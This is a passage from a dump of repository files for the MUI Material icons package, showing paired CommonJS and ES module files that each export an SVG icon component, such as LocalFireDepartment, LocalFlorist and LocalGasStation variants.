    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 12.9-2.13 2.09c-.56.56-.87 1.29-.87 2.07C9 18.68 10.35 20 12 20s3-1.32 3-2.94c0-.78-.31-1.52-.87-2.07z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6-.44.55C14.38 8.02 12 7.19 12 5.3V2S4 6 4 13c0 2.92 1.56 5.47 3.89 6.86-.56-.79-.89-1.76-.89-2.8 0-1.32.52-2.56 1.47-3.5L12 10.1l3.53 3.47c.95.93 1.47 2.17 1.47 3.5 0 1.02-.31 1.96-.85 2.75 1.89-1.15 3.29-3.06 3.71-5.3.66-3.55-1.07-6.9-3.86-8.52\"\n}, \"1\")], 'LocalFireDepartmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartmentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.2 8.65c-.64.42-1.4.65-2.18.65-2.06 0-3.77-1.55-3.99-3.55C8.13 7.35 6 9.84 6 13c0 1.79.79 3.4 2.04 4.5-.04-.34-.23-1.88 1.13-3.22L12 11.5l2.83 2.78c1.35 1.33 1.17 2.86 1.13 3.21v.01C17.21 16.4 18 14.79 18 13c0-1.65-.66-3.22-1.8-4.35\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 14.31-1.42 1.4c-.38.36-.58.84-.58 1.35 0 1.07.9 1.94 2 1.94s2-.87 2-1.94c0-.51-.2-.99-.57-1.36z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6-.44.55c-.42.52-.98.75-1.54.75C13 7.3 12 6.52 12 5.3V2S4 6 4 13c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.96-1.61-5.62-4-7m-4 13c-1.1 0-2-.87-2-1.94 0-.51.2-.99.58-1.36L12 14.3l1.43 1.4c.37.37.57.85.57 1.36 0 1.07-.9 1.94-2 1.94m3.96-1.5c.04-.36.22-1.89-1.13-3.22L12 11.5l-2.83 2.78C7.81 15.62 8 17.16 8.04 17.5 6.79 16.4 6 14.79 6 13c0-3.16 2.13-5.65 4.03-7.25.23 1.99 1.93 3.55 3.99 3.55.78 0 1.54-.23 2.18-.66C17.34 9.78 18 11.35 18 13c0 1.79-.79 3.4-2.04 4.5\"\n}, \"2\")], 'LocalFireDepartmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartmentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.2 8.65c-.64.42-1.4.65-2.18.65-2.06 0-3.77-1.55-3.99-3.55C8.13 7.35 6 9.84 6 13c0 1.79.79 3.4 2.04 4.5-.04-.34-.23-1.88 1.13-3.22L12 11.5l2.83 2.78c1.35 1.33 1.17 2.86 1.13 3.21v.01C17.21 16.4 18 14.79 18 13c0-1.65-.66-3.22-1.8-4.35\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 14.31-1.42 1.4c-.38.36-.58.84-.58 1.35 0 1.07.9 1.94 2 1.94s2-.87 2-1.94c0-.51-.2-.99-.57-1.36z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6-.44.55c-.42.52-.98.75-1.54.75C13 7.3 12 6.52 12 5.3V2S4 6 4 13c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.96-1.61-5.62-4-7m-4 13c-1.1 0-2-.87-2-1.94 0-.51.2-.99.58-1.36L12 14.3l1.43 1.4c.37.37.57.85.57 1.36 0 1.07-.9 1.94-2 1.94m3.96-1.5c.04-.36.22-1.89-1.13-3.22L12 11.5l-2.83 2.78C7.81 15.62 8 17.16 8.04 17.5 6.79 16.4 6 14.79 6 13c0-3.16 2.13-5.65 4.03-7.25.23 1.99 1.93 3.55 3.99 3.55.78 0 1.54-.23 2.18-.66C17.34 9.78 18 11.35 18 13c0 1.79-.79 3.4-2.04 4.5\"\n}, \"2\")], 'LocalFireDepartmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFlorist.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c4.97 0 9-4.03 9-9-4.97 0-9 4.03-9 9M5.6 10.25c0 1.38 1.12 2.5 2.5 2.5.53 0 1.01-.16 1.42-.44l-.02.19c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5l-.02-.19c.4.28.89.44 1.42.44 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.02-.19C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-1.38 0-2.5 1.12-2.5 2.5 0 1 .59 1.85 1.43 2.25-.84.4-1.43 1.25-1.43 2.25M12 5.5c1.38 0 2.5 1.12 2.5 2.5s-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8s1.12-2.5 2.5-2.5M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9\"\n}), 'LocalFlorist');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFlorist.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c4.97 0 9-4.03 9-9-4.97 0-9 4.03-9 9M5.6 10.25c0 1.38 1.12 2.5 2.5 2.5.53 0 1.01-.16 1.42-.44l-.02.19c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5l-.02-.19c.4.28.89.44 1.42.44 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.02-.19C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-1.38 0-2.5 1.12-2.5 2.5 0 1 .59 1.85 1.43 2.25-.84.4-1.43 1.25-1.43 2.25M12 5.5c1.38 0 2.5 1.12 2.5 2.5s-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8s1.12-2.5 2.5-2.5M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9\"\n}), 'LocalFlorist');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFloristOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.66 13.07c.15 0 .29-.01.43-.03C9.56 14.19 10.69 15 12 15s2.44-.81 2.91-1.96c.14.02.29.03.43.03 1.73 0 3.14-1.41 3.14-3.14 0-.71-.25-1.39-.67-1.93.43-.54.67-1.22.67-1.93 0-1.73-1.41-3.14-3.14-3.14-.15 0-.29.01-.43.03C14.44 1.81 13.31 1 12 1s-2.44.81-2.91 1.96c-.14-.02-.29-.03-.43-.03-1.73 0-3.14 1.41-3.14 3.14 0 .71.25 1.39.67 1.93-.43.54-.68 1.22-.68 1.93 0 1.73 1.41 3.14 3.15 3.14M12 13c-.62 0-1.12-.49-1.14-1.1l.12-1.09c.32.12.66.19 1.02.19s.71-.07 1.03-.19l.11 1.09c-.02.61-.52 1.1-1.14 1.1m3.34-1.93c-.24 0-.46-.07-.64-.2l-.81-.57c.55-.45.94-1.09 1.06-1.83l.88.42c.4.19.66.59.66 1.03 0 .64-.52 1.15-1.15 1.15m-.65-5.94c.2-.13.42-.2.65-.2.63 0 1.14.51 1.14 1.14 0 .44-.25.83-.66 1.03l-.88.42c-.12-.74-.51-1.38-1.07-1.83zM12 3c.62 0 1.12.49 1.14 1.1l-.11 1.09C12.71 5.07 12.36 5 12 5s-.7.07-1.02.19l-.12-1.09c.02-.61.52-1.1 1.14-1.1M8.66 4.93c.24 0 .46.07.64.2l.81.56c-.55.45-.94 1.09-1.06 1.83l-.88-.42c-.4-.2-.66-.59-.66-1.03 0-.63.52-1.14 1.15-1.14M8.17 8.9l.88-.42c.12.74.51 1.38 1.07 1.83l-.81.55c-.2.13-.42.2-.65.2-.63 0-1.14-.51-1.14-1.14-.01-.43.25-.82.65-1.02M12 22c4.97 0 9-4.03 9-9-4.97 0-9 4.03-9 9m2.44-2.44c.71-1.9 2.22-3.42 4.12-4.12-.71 1.9-2.22 3.41-4.12 4.12M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m2.44 2.44c1.9.71 3.42 2.22 4.12 4.12-1.9-.71-3.41-2.22-4.12-4.12\"\n}), 'LocalFloristOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFloristOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.66 13.07c.15 0 .29-.01.43-.03C9.56 14.19 10.69 15 12 15s2.44-.81 2.91-1.96c.14.02.29.03.43.03 1.73 0 3.14-1.41 3.14-3.14 0-.71-.25-1.39-.67-1.93.43-.54.67-1.22.67-1.93 0-1.73-1.41-3.14-3.14-3.14-.15 0-.29.01-.43.03C14.44 1.81 13.31 1 12 1s-2.44.81-2.91 1.96c-.14-.02-.29-.03-.43-.03-1.73 0-3.14 1.41-3.14 3.14 0 .71.25 1.39.67 1.93-.43.54-.68 1.22-.68 1.93 0 1.73 1.41 3.14 3.15 3.14M12 13c-.62 0-1.12-.49-1.14-1.1l.12-1.09c.32.12.66.19 1.02.19s.71-.07 1.03-.19l.11 1.09c-.02.61-.52 1.1-1.14 1.1m3.34-1.93c-.24 0-.46-.07-.64-.2l-.81-.57c.55-.45.94-1.09 1.06-1.83l.88.42c.4.19.66.59.66 1.03 0 .64-.52 1.15-1.15 1.15m-.65-5.94c.2-.13.42-.2.65-.2.63 0 1.14.51 1.14 1.14 0 .44-.25.83-.66 1.03l-.88.42c-.12-.74-.51-1.38-1.07-1.83zM12 3c.62 0 1.12.49 1.14 1.1l-.11 1.09C12.71 5.07 12.36 5 12 5s-.7.07-1.02.19l-.12-1.09c.02-.61.52-1.1 1.14-1.1M8.66 4.93c.24 0 .46.07.64.2l.81.56c-.55.45-.94 1.09-1.06 1.83l-.88-.42c-.4-.2-.66-.59-.66-1.03 0-.63.52-1.14 1.15-1.14M8.17 8.9l.88-.42c.12.74.51 1.38 1.07 1.83l-.81.55c-.2.13-.42.2-.65.2-.63 0-1.14-.51-1.14-1.14-.01-.43.25-.82.65-1.02M12 22c4.97 0 9-4.03 9-9-4.97 0-9 4.03-9 9m2.44-2.44c.71-1.9 2.22-3.42 4.12-4.12-.71 1.9-2.22 3.41-4.12 4.12M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m2.44 2.44c1.9.71 3.42 2.22 4.12 4.12-1.9-.71-3.41-2.22-4.12-4.12\"\n}), 'LocalFloristOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFloristRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c4.56 0 8.33-3.4 8.92-7.8.09-.64-.48-1.21-1.12-1.12-4.4.59-7.8 4.36-7.8 8.92M5.6 10.25c0 1.38 1.12 2.5 2.5 2.5.53 0 1.01-.16 1.42-.44l-.02.19c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5l-.02-.19c.4.28.89.44 1.42.44 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.02-.19C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-1.38 0-2.5 1.12-2.5 2.5 0 1 .59 1.85 1.43 2.25-.84.4-1.43 1.25-1.43 2.25M12 5.5c1.38 0 2.5 1.12 2.5 2.5s-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8s1.12-2.5 2.5-2.5m-8.92 8.7C3.67 18.6 7.44 22 12 22c0-4.56-3.4-8.33-7.8-8.92-.64-.09-1.21.48-1.12 1.12\"\n}), 'LocalFloristRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFloristRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c4.56 0 8.33-3.4 8.92-7.8.09-.64-.48-1.21-1.12-1.12-4.4.59-7.8 4.36-7.8 8.92M5.6 10.25c0 1.38 1.12 2.5 2.5 2.5.53 0 1.01-.16 1.42-.44l-.02.19c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5l-.02-.19c.4.28.89.44 1.42.44 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.02-.19C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-1.38 0-2.5 1.12-2.5 2.5 0 1 .59 1.85 1.43 2.25-.84.4-1.43 1.25-1.43 2.25M12 5.5c1.38 0 2.5 1.12 2.5 2.5s-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8s1.12-2.5 2.5-2.5m-8.92 8.7C3.67 18.6 7.44 22 12 22c0-4.56-3.4-8.33-7.8-8.92-.64-.09-1.21.48-1.12 1.12\"\n}), 'LocalFloristRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFloristSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c4.97 0 9-4.03 9-9-4.97 0-9 4.03-9 9M5.6 10.25c0 1.38 1.12 2.5 2.5 2.5.53 0 1.01-.16 1.42-.44l-.02.19c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5l-.02-.19c.4.28.89.44 1.42.44 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.02-.19C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-1.38 0-2.5 1.12-2.5 2.5 0 1 .59 1.85 1.43 2.25-.84.4-1.43 1.25-1.43 2.25M12 5.5c1.38 0 2.5 1.12 2.5 2.5s-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8s1.12-2.5 2.5-2.5M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9\"\n}), 'LocalFloristSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFloristSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c4.97 0 9-4.03 9-9-4.97 0-9 4.03-9 9M5.6 10.25c0 1.38 1.12 2.5 2.5 2.5.53 0 1.01-.16 1.42-.44l-.02.19c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5l-.02-.19c.4.28.89.44 1.42.44 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.02-.19C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-1.38 0-2.5 1.12-2.5 2.5 0 1 .59 1.85 1.43 2.25-.84.4-1.43 1.25-1.43 2.25M12 5.5c1.38 0 2.5 1.12 2.5 2.5s-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8s1.12-2.5 2.5-2.5M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9\"\n}), 'LocalFloristSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFloristTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c.62 0 1.12-.49 1.14-1.1l-.11-1.09c-.32.12-.67.19-1.03.19s-.7-.07-1.02-.19l-.12 1.09c.02.61.52 1.1 1.14 1.1M8.17 7.1l.88.42c.12-.73.51-1.37 1.06-1.83l-.81-.56c-.18-.13-.41-.2-.64-.2-.63 0-1.14.51-1.14 1.14-.01.44.25.83.65 1.03m7.66 1.8-.88-.42c-.12.73-.51 1.37-1.06 1.83l.81.57c.18.13.41.2.64.2.63 0 1.14-.51 1.14-1.14.01-.45-.25-.84-.65-1.04m-.88-1.38.88-.42c.4-.19.66-.59.66-1.03 0-.63-.51-1.14-1.14-1.14-.24 0-.46.07-.65.2l-.81.55c.55.46.94 1.1 1.06 1.84M12 5c.36 0 .71.07 1.03.19l.11-1.09C13.12 3.49 12.62 3 12 3s-1.12.49-1.14 1.1l.12 1.09C11.3 5.07 11.64 5 12 5m-3.34 6.07c.24 0 .46-.07.65-.2l.81-.55c-.56-.46-.95-1.1-1.07-1.84l-.88.42c-.4.2-.66.59-.66 1.03 0 .63.52 1.14 1.15 1.14m9.9 4.37c-1.9.71-3.42 2.22-4.12 4.12 1.9-.71 3.41-2.22 4.12-4.12m-13.12 0c.71 1.9 2.22 3.42 4.12 4.12-.71-1.9-2.22-3.41-4.12-4.12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.66 13.07c.15 0 .29-.01.43-.03C9.56 14.19 10.69 15 12 15s2.44-.81 2.91-1.96c.14.02.29.03.43.03 1.73 0 3.14-1.41 3.14-3.14 0-.71-.25-1.39-.67-1.93.43-.54.67-1.22.67-1.93 0-1.73-1.41-3.14-3.14-3.14-.15 0-.29.01-.43.03C14.44 1.81 13.31 1 12 1s-2.44.81-2.91 1.96c-.14-.02-.29-.03-.43-.03-1.73 0-3.14 1.41-3.14 3.14 0 .71.25 1.39.67 1.93-.43.54-.68 1.22-.68 1.93 0 1.73 1.41 3.14 3.15 3.14m6.68-2c-.24 0-.46-.07-.64-.2l-.81-.57c.55-.45.94-1.09 1.06-1.83l.88.42c.4.19.66.59.66 1.03 0 .64-.52 1.15-1.15 1.15m-.65-5.94c.2-.13.42-.2.65-.2.63 0 1.14.51 1.14 1.14 0 .44-.25.83-.66 1.03l-.88.42c-.12-.74-.51-1.38-1.07-1.83zM12 3c.62 0 1.12.49 1.14 1.1l-.11 1.09C12.71 5.07 12.36 5 12 5s-.7.07-1.02.19l-.12-1.09c.02-.61.52-1.1 1.14-1.1m1 5c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-2.02 2.81c.32.12.66.19 1.02.19s.71-.07 1.03-.19l.11 1.09c-.02.61-.52 1.1-1.14 1.1s-1.12-.49-1.14-1.1zM8.66 4.93c.24 0 .46.07.64.2l.81.56c-.55.45-.94 1.09-1.06 1.83l-.88-.42c-.4-.2-.66-.59-.66-1.03 0-.63.52-1.14 1.15-1.14M8.17 8.9l.88-.42c.12.74.51 1.38 1.07 1.83l-.81.55c-.2.13-.42.2-.65.2-.63 0-1.14-.51-1.14-1.14-.01-.43.25-.82.65-1.02M12 22c4.97 0 9-4.03 9-9-4.97 0-9 4.03-9 9m6.56-6.56c-.71 1.9-2.22 3.42-4.12 4.12.71-1.9 2.22-3.41 4.12-4.12M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m2.44 2.44c1.9.71 3.42 2.22 4.12 4.12-1.9-.71-3.41-2.22-4.12-4.12\"\n}, \"1\")], 'LocalFloristTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFloristTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c.62 0 1.12-.49 1.14-1.1l-.11-1.09c-.32.12-.67.19-1.03.19s-.7-.07-1.02-.19l-.12 1.09c.02.61.52 1.1 1.14 1.1M8.17 7.1l.88.42c.12-.73.51-1.37 1.06-1.83l-.81-.56c-.18-.13-.41-.2-.64-.2-.63 0-1.14.51-1.14 1.14-.01.44.25.83.65 1.03m7.66 1.8-.88-.42c-.12.73-.51 1.37-1.06 1.83l.81.57c.18.13.41.2.64.2.63 0 1.14-.51 1.14-1.14.01-.45-.25-.84-.65-1.04m-.88-1.38.88-.42c.4-.19.66-.59.66-1.03 0-.63-.51-1.14-1.14-1.14-.24 0-.46.07-.65.2l-.81.55c.55.46.94 1.1 1.06 1.84M12 5c.36 0 .71.07 1.03.19l.11-1.09C13.12 3.49 12.62 3 12 3s-1.12.49-1.14 1.1l.12 1.09C11.3 5.07 11.64 5 12 5m-3.34 6.07c.24 0 .46-.07.65-.2l.81-.55c-.56-.46-.95-1.1-1.07-1.84l-.88.42c-.4.2-.66.59-.66 1.03 0 .63.52 1.14 1.15 1.14m9.9 4.37c-1.9.71-3.42 2.22-4.12 4.12 1.9-.71 3.41-2.22 4.12-4.12m-13.12 0c.71 1.9 2.22 3.42 4.12 4.12-.71-1.9-2.22-3.41-4.12-4.12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.66 13.07c.15 0 .29-.01.43-.03C9.56 14.19 10.69 15 12 15s2.44-.81 2.91-1.96c.14.02.29.03.43.03 1.73 0 3.14-1.41 3.14-3.14 0-.71-.25-1.39-.67-1.93.43-.54.67-1.22.67-1.93 0-1.73-1.41-3.14-3.14-3.14-.15 0-.29.01-.43.03C14.44 1.81 13.31 1 12 1s-2.44.81-2.91 1.96c-.14-.02-.29-.03-.43-.03-1.73 0-3.14 1.41-3.14 3.14 0 .71.25 1.39.67 1.93-.43.54-.68 1.22-.68 1.93 0 1.73 1.41 3.14 3.15 3.14m6.68-2c-.24 0-.46-.07-.64-.2l-.81-.57c.55-.45.94-1.09 1.06-1.83l.88.42c.4.19.66.59.66 1.03 0 .64-.52 1.15-1.15 1.15m-.65-5.94c.2-.13.42-.2.65-.2.63 0 1.14.51 1.14 1.14 0 .44-.25.83-.66 1.03l-.88.42c-.12-.74-.51-1.38-1.07-1.83zM12 3c.62 0 1.12.49 1.14 1.1l-.11 1.09C12.71 5.07 12.36 5 12 5s-.7.07-1.02.19l-.12-1.09c.02-.61.52-1.1 1.14-1.1m1 5c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-2.02 2.81c.32.12.66.19 1.02.19s.71-.07 1.03-.19l.11 1.09c-.02.61-.52 1.1-1.14 1.1s-1.12-.49-1.14-1.1zM8.66 4.93c.24 0 .46.07.64.2l.81.56c-.55.45-.94 1.09-1.06 1.83l-.88-.42c-.4-.2-.66-.59-.66-1.03 0-.63.52-1.14 1.15-1.14M8.17 8.9l.88-.42c.12.74.51 1.38 1.07 1.83l-.81.55c-.2.13-.42.2-.65.2-.63 0-1.14-.51-1.14-1.14-.01-.43.25-.82.65-1.02M12 22c4.97 0 9-4.03 9-9-4.97 0-9 4.03-9 9m6.56-6.56c-.71 1.9-2.22 3.42-4.12 4.12.71-1.9 2.22-3.41 4.12-4.12M3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m2.44 2.44c1.9.71 3.42 2.22 4.12 4.12-1.9-.71-3.41-2.22-4.12-4.12\"\n}, \"1\")], 'LocalFloristTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 7.23.01-.01-3.72-3.72L15 4.56l2.11 2.11c-.94.36-1.61 1.26-1.61 2.33 0 1.38 1.12 2.5 2.5 2.5.36 0 .69-.08 1-.21v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v16h10v-7.5h1.5v5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V9c0-.69-.28-1.32-.73-1.77M12 10H6V5h6zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalGasStation');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 7.23.01-.01-3.72-3.72L15 4.56l2.11 2.11c-.94.36-1.61 1.26-1.61 2.33 0 1.38 1.12 2.5 2.5 2.5.36 0 .69-.08 1-.21v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v16h10v-7.5h1.5v5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V9c0-.69-.28-1.32-.73-1.77M12 10H6V5h6zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalGasStation');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStationOutlined.js",
